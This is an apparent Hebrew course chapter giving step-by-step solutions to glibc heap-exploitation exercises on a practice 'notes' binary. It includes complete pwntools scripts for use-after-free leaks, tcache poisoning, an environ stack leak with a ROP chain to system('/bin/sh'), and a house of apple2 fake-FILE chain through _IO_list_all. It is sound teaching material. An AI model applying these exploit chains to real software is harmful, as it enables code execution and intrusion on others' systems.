לדלג לתוכן

7.6 תקיפות tcache וfastbin מודרניות פתרון

פתרון - הרצת קוד עם tcache poisoning בעולם שאחרי ההוקים

נעבור על הפתרון צעד אחר צעד. נתחיל מהבנת החולשה וההגנות, נבנה את שכבת הleaks, ואז נביא שני exploits מלאים ורצים: מסלול environ (המומלץ, בלתי תלוי בגרסה) ומסלול FSOP house of apple2 (המסלול המודרני ל-2.34+). בסוף כל אחד נסביר למה זה עבד ואיך להכליל.

פתרון תרגיל 1 - מיפוי החולשה והגנות

checksec מראה:

RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

מסקנות: אין canary אז לא נתעסק בו, NX דולק אז shellcode מהמחסנית לא יעבוד ונצטרך ret2libc, No PIE אז כתובות הבינארי קבועות, Partial RELRO אבל זה לא משנה כי אף מטרה שלנו איננה ה-GOT.

הבאג ב-del: free(notes[i]) בלי notes[i] = NULL. התוצאה היא UAF מלא:

  • view על chunk ששוחרר קורא את התוכן שלו - וב-chunk ששוחרר, ה-8 בתים הראשונים הם ה-fd. זו leak.
  • edit על chunk ששוחרר דורס את ה-fd - זו הרעלת tcache.
  • del פעמיים על אותו idx הוא double-free.

כשמקצים chunk בגודל 0x500 ומשחררים אותו, הוא גדול מדי ל-tcache (מקסימום 0x410), אז הוא נכנס ל-unsorted bin. שם ה-fd וה-bk מצביעים ל-main_arena + 96 בתוך libc. view עליו מדפיס את הכתובת הזו - leak libc.

פתרון תרגיל 2 - leak libc וleak heap

נתחיל את הסקריפט עם פונקציות העזר לתפריט ולleaks:

from pwn import *

context.binary = elf = ELF('./notes')
libc = ELF('./libc.so.6')
context.log_level = 'info'

def start():
    return process([elf.path])   # or process(['./ld.so', './notes'], env={...})

p = start()

def cmd(n):
    p.sendafter(b'> ', str(n).encode())

def add(i, sz, data):
    cmd(1)
    p.sendafter(b'idx: ',  str(i).encode())
    p.sendafter(b'size: ', str(sz).encode())
    p.sendafter(b'data: ', data)

def edit(i, data):
    cmd(2)
    p.sendafter(b'idx: ', str(i).encode())
    p.sendafter(b'data: ', data)

def view(i):
    cmd(3)
    p.sendafter(b'idx: ', str(i).encode())
    return p.recv(8)

def delete(i):
    cmd(4)
    p.sendafter(b'idx: ', str(i).encode())

SAFE_LINKING = True     # True for 2.32+, False for 2.31 and below
def mangle(pos, ptr):
    return (ptr ^ (pos >> 12)) if SAFE_LINKING else ptr

הleak libc דרך unsorted bin:

add(0, 0x500, b'A'*8)     # large chunk
add(1, 0x20,  b'guard')   # separates from top, so it won't merge back
delete(0)                 # -> unsorted bin
leak = u64(view(0).ljust(8, b'\x00'))
libc.address = leak - (libc.sym['main_arena'] + 96)
log.success('libc base: ' + hex(libc.address))

הערך main_arena + 96 הוא לאן fd/bk של chunk בודד ב-unsorted מצביעים. אם pwntools לא מכיר את הסמל main_arena, אפשר לחשב אותו כ-libc.sym['__malloc_hook'] + 0x10 בגרסאות ישנות, או פשוט להריץ פעם אחת ב-gdb p &main_arena ולקבל את ה-offset.

הleak heap (נחוצה ל-safe-linking):

add(2, 0x20, b'B')
add(3, 0x20, b'C')
delete(2)
delete(3)                 # both to tcache 0x30; head of the list is 3
heap = u64(view(3).ljust(8, b'\x00')) << 12
log.success('heap base: ' + hex(heap))

הסבר: ה-chunk הראשון ששוחרר לתוך tcache ריק מקבל fd = 0 XOR (addr >> 12) = addr >> 12. הכפלה ב-<< 12 מחזירה את בסיס העמוד של ה-heap. אם SAFE_LINKING = False (גרסה 2.31), הערך שקראנו הוא כבר כתובת heap גולמית ואפשר לוותר על ההסטה - אבל אז נצטרך chunk שני כדי לקבל כתובת מדויקת. בשביל פשטות, על 2.31 אפשר לקרוא את ה-fd של ה-chunk השני ברשימה, שהוא כתובת גולמית של ה-chunk הראשון.

פתרון תרגיל 3 - tcache poisoning לכתיבה שרירותית

נעטוף את ההרעלה בפונקציית עזר. ניתן לה כתובת יעד, ותחזיר idx חדש שמצביע לשם:

next_idx = 4
def arbitrary_alloc(target, sz=0x40):
    global next_idx
    a, b = next_idx, next_idx + 1
    next_idx += 2
    add(a, sz, b'a')
    add(b, sz, b'b')
    delete(a)
    delete(b)                             # ראש ה-tcache הוא b
    chunk_b = heap + off_of(b)            # address of the chunk for idx b (see below)
    edit(b, p64(mangle(chunk_b, target))) # poison the fd of the head
    r = next_idx
    add(next_idx, sz, b'x'); next_idx += 1   # removes b from the list
    r2 = next_idx
    add(next_idx, sz, b'\x00'*8); next_idx += 1  # returned -> target
    return r2

את off_of(b) (ההיסט של ה-chunk מבסיס ה-heap) מוצאים ב-gdb פעם אחת עם vis_heap_chunks או heap, או פשוט לוקחים את ההפרש בין כתובת ה-chunk לבין heap. בפועל נוח יותר לקרוא את כתובת ה-chunk ישירות מleak heap ולעקוב אחריה, אבל למען בהירות השארנו את זה מפורש.

אימות ב-gdb: אחרי ההרעלה, שימו breakpoint על malloc, ובדקו ש-rax אחרי ההקצאה השנייה שווה ל-target. אם אתם מקבלים unaligned tcache chunk detected, ה-target לא aligned ל-16 - תקנו.

פתרון תרגיל 4, מסלול א - environ אל המחסנית

זהו ה-exploit המלא. הוא בלתי תלוי בהוקים ועובד על 2.31 עד 2.39 כמעט בלי שינוי (רק דגל SAFE_LINKING).

תחילה מוצאים את ה-delta בין environ ל-saved RIP, פעם אחת, ב-gdb:

pwndbg> b get_int
pwndbg> run
pwndbg> p/x (long)environ
$1 = 0x7fffffffe288
pwndbg> stack 60
# locate the saved RIP of main in the output (the address that points back into main)
# assume it sits at 0x7fffffffe168
pwndbg> # delta = 0x7fffffffe288 - 0x7fffffffe168 = 0x120

ועכשיו הקוד:

DELTA = 0x120     # measured in gdb, constant across runs

# step 1: read a stack address through environ
env_idx = arbitrary_alloc(libc.sym['environ'])
stack_leak = u64(view(env_idx).ljust(8, b'\x00'))
ret_addr = stack_leak - DELTA
log.success('stack leak: ' + hex(stack_leak))
log.success('target saved RIP: ' + hex(ret_addr))

# step 2: writing a ROP chain onto the saved RIP
rip_idx = arbitrary_alloc(ret_addr)
rop = ROP(libc)
chain = flat(
    rop.find_gadget(['ret'])[0],                 # alignment to 16 (movaps)
    rop.find_gadget(['pop rdi', 'ret'])[0],
    next(libc.search(b'/bin/sh\x00')),
    libc.sym['system'],
)
edit(rip_idx, chain)

# step 3: make main return -> the chain runs
cmd(5)            # exit option -> return from main -> ret into our chain
p.interactive()

הרצה מוצלחת נותנת:

[+] libc base: 0x7f...000
[+] heap base: 0x55...000
[+] stack leak: 0x7fffffffe288
[+] target saved RIP: 0x7fffffffe168
[*] Switching to interactive mode
$ id
uid=1000(...) ...

למה זה עבד ואיך להכליל: המפתח הוא ש-environ הוא סמל libc קבוע שמכיל מצביע חי למחסנית. הleak אחת ממנו נותנת עוגן על המחסנית, וכל שאר הכתובות על המחסנית נמצאות ממנו במרחק קבוע. משם זה ret2libc רגיל. השיטה עובדת על כל גרסת glibc כי היא לא נשענת על שום פרט פנימי של malloc או של מבני FILE - רק על tcache poisoning בסיסי ועל קיום environ. הדבר היחיד שצריך למדוד מחדש בכל binary הוא ה-DELTA, כי הוא תלוי בעומק הפריימים. אם התוכנית לא יוצאת דרך main, כוונו ל-saved RIP של הפונקציה הקרובה ביותר שתחזור.

פתרון תרגיל 4, מסלול ב - FSOP house of apple2

זהו המסלול שתריצו על 2.34/2.35 כשאין לכם מחסנית נוחה לכתוב עליה, אבל מובטח ש-exit (או return מ-main) ירוץ. אנחנו מזייפים FILE, מצביעים את ה-vtable ל-_IO_wfile_jumps החוקי, ומנצלים את ה-_wide_vtable שלא נבדק כדי לקרוא ל-system("/bin/sh").

תחילה נזייף את המבנה בתוך chunk שאנחנו שולטים בכתובתו. נשתמש בכתובת heap שדלפה. נניח שהקצינו chunk גדול FAKE שכתובתו fake_addr:

fake_addr   = heap + FAKE_OFF        # address of the fake FILE (our chunk)
wide_addr   = fake_addr + 0x100      # _wide_data inside the same buffer
wide_vtable = fake_addr + 0x200      # the fake vtable of the wide data

# --- the fake FILE ---
file  = p64(u64(b'  /bin/sh'))       # _flags: contains /bin/sh, and lacks bit 0x8
file += p64(0) * 6
file  = file.ljust(0x28, b'\x00')
file += p64(0)                       # _IO_write_base = 0
file += p64(1)                       # _IO_write_ptr = 1  ( > write_base )
file  = file.ljust(0x88, b'\x00')
file += p64(0)                       # _lock -> a valid writable area (e.g. a zeroed field in libc)
file  = file.ljust(0xa0, b'\x00')
file += p64(wide_addr)               # _wide_data
file  = file.ljust(0xc0, b'\x00')
file += p64(0)                       # _mode = 0  (the flush path)
file  = file.ljust(0xd8, b'\x00')
file += p64(libc.sym['_IO_wfile_jumps'])   # valid vtable -> _IO_wfile_overflow

# --- fake _wide_data ---
wide  = p64(0) * 4                   # _IO_write_base = NULL -> triggers the allocation path
wide  = wide.ljust(0xe0, b'\x00')
wide += p64(wide_vtable)             # _wide_vtable  (not checked!)

# --- fake vtable: __doallocate at offset 0x68 ---
vt = b'\x00' * 0x68 + p64(libc.sym['system'])

עכשיו כותבים את שלושת החלקים אל תוך ה-buffer שלנו (למשל דרך edit על ה-idx של FAKE, בהתאם ל-offsets), ולבסוף דורסים את _IO_list_all עם tcache poisoning כדי שיצביע ל-FILE המזויף:

# assume fake_idx points to a buffer whose address is fake_addr
edit(fake_idx, file)                         # if the buffer is big enough, write it all at once
# write wide and vt at offsets 0x100 and 0x200 inside the same buffer

list_idx = arbitrary_alloc(libc.sym['_IO_list_all'])
edit(list_idx, p64(fake_addr))               # _IO_list_all -> our FILE

cmd(5)                                        # exit -> _IO_flush_all -> system("/bin/sh")
p.interactive()

שרשרת הקריאות שמתרחשת בעת exit:

exit()
 -> _IO_cleanup -> _IO_flush_all_lockp
      iterates over _IO_list_all -> our FILE
      write_ptr(1) > write_base(0)  =>  _IO_OVERFLOW(fp)
         vtable = _IO_wfile_jumps  =>  _IO_wfile_overflow(fp)
            _flags without _IO_NO_WRITES, wide->_IO_write_base == NULL
            =>  _IO_wdoallocbuf(fp)
                 =>  fp->_wide_data->_wide_vtable->__doallocate(fp)
                     =  system(fp)   and fp's head contains "/bin/sh"  =>  shell

למה זה עבד ואיך להכליל: הבדיקה _IO_vtable_check (מ-2.24) חוסמת vtable שרירותי, אבל _IO_wfile_jumps הוא vtable חוקי, כך שהבדיקה עוברת. מכאן אנחנו מנתבים את הזרימה למסלול ה-wide, שם ה-_wide_vtable איננו מוגן על ידי אותה בדיקה - זו הפרצה. שלושת התנאים שחייבים להתקיים כדי שהמסלול יגיע ל-__doallocate: _flags בלי הביט _IO_NO_WRITES (0x8), _wide_data->_IO_write_base == NULL, ו-_IO_write_ptr > _IO_write_base כדי ש-flush בכלל ייגע ב-FILE. אותו רעיון עובד גם דרך stderr/stdout במקום _IO_list_all אם קל יותר לדרוס אותם. ה-offsets בתוך מבנה ה-FILE (0xa0 ל-_wide_data, 0xd8 ל-vtable, 0x68 ל-__doallocate) יציבים על 2.34/2.35 - אמתו אותם ב-gdb עם p &((struct _IO_FILE_plus*)0)->... אם אתם על גרסה אחרת.

הערה מסכמת

שני המסלולים מתחילים מאותו פרימיטיב - tcache poisoning לכתיבה שרירותית - ונבדלים רק במטרה. מסלול environ פשוט, אמין, ובלתי תלוי בגרסה, ולכן זו ברירת המחדל שלכם כשיש מחסנית להגיע אליה. מסלול house of apple2 הוא הכלי ל-2.34+ כשהיציאה מובטחת אבל אין מחסנית נוחה. בפרויקט הסיכום של הפרק (7.7) נשלב את שני העולמות על binary שדורש גם large bin attack כדי להתניע את הכתיבה הראשונה.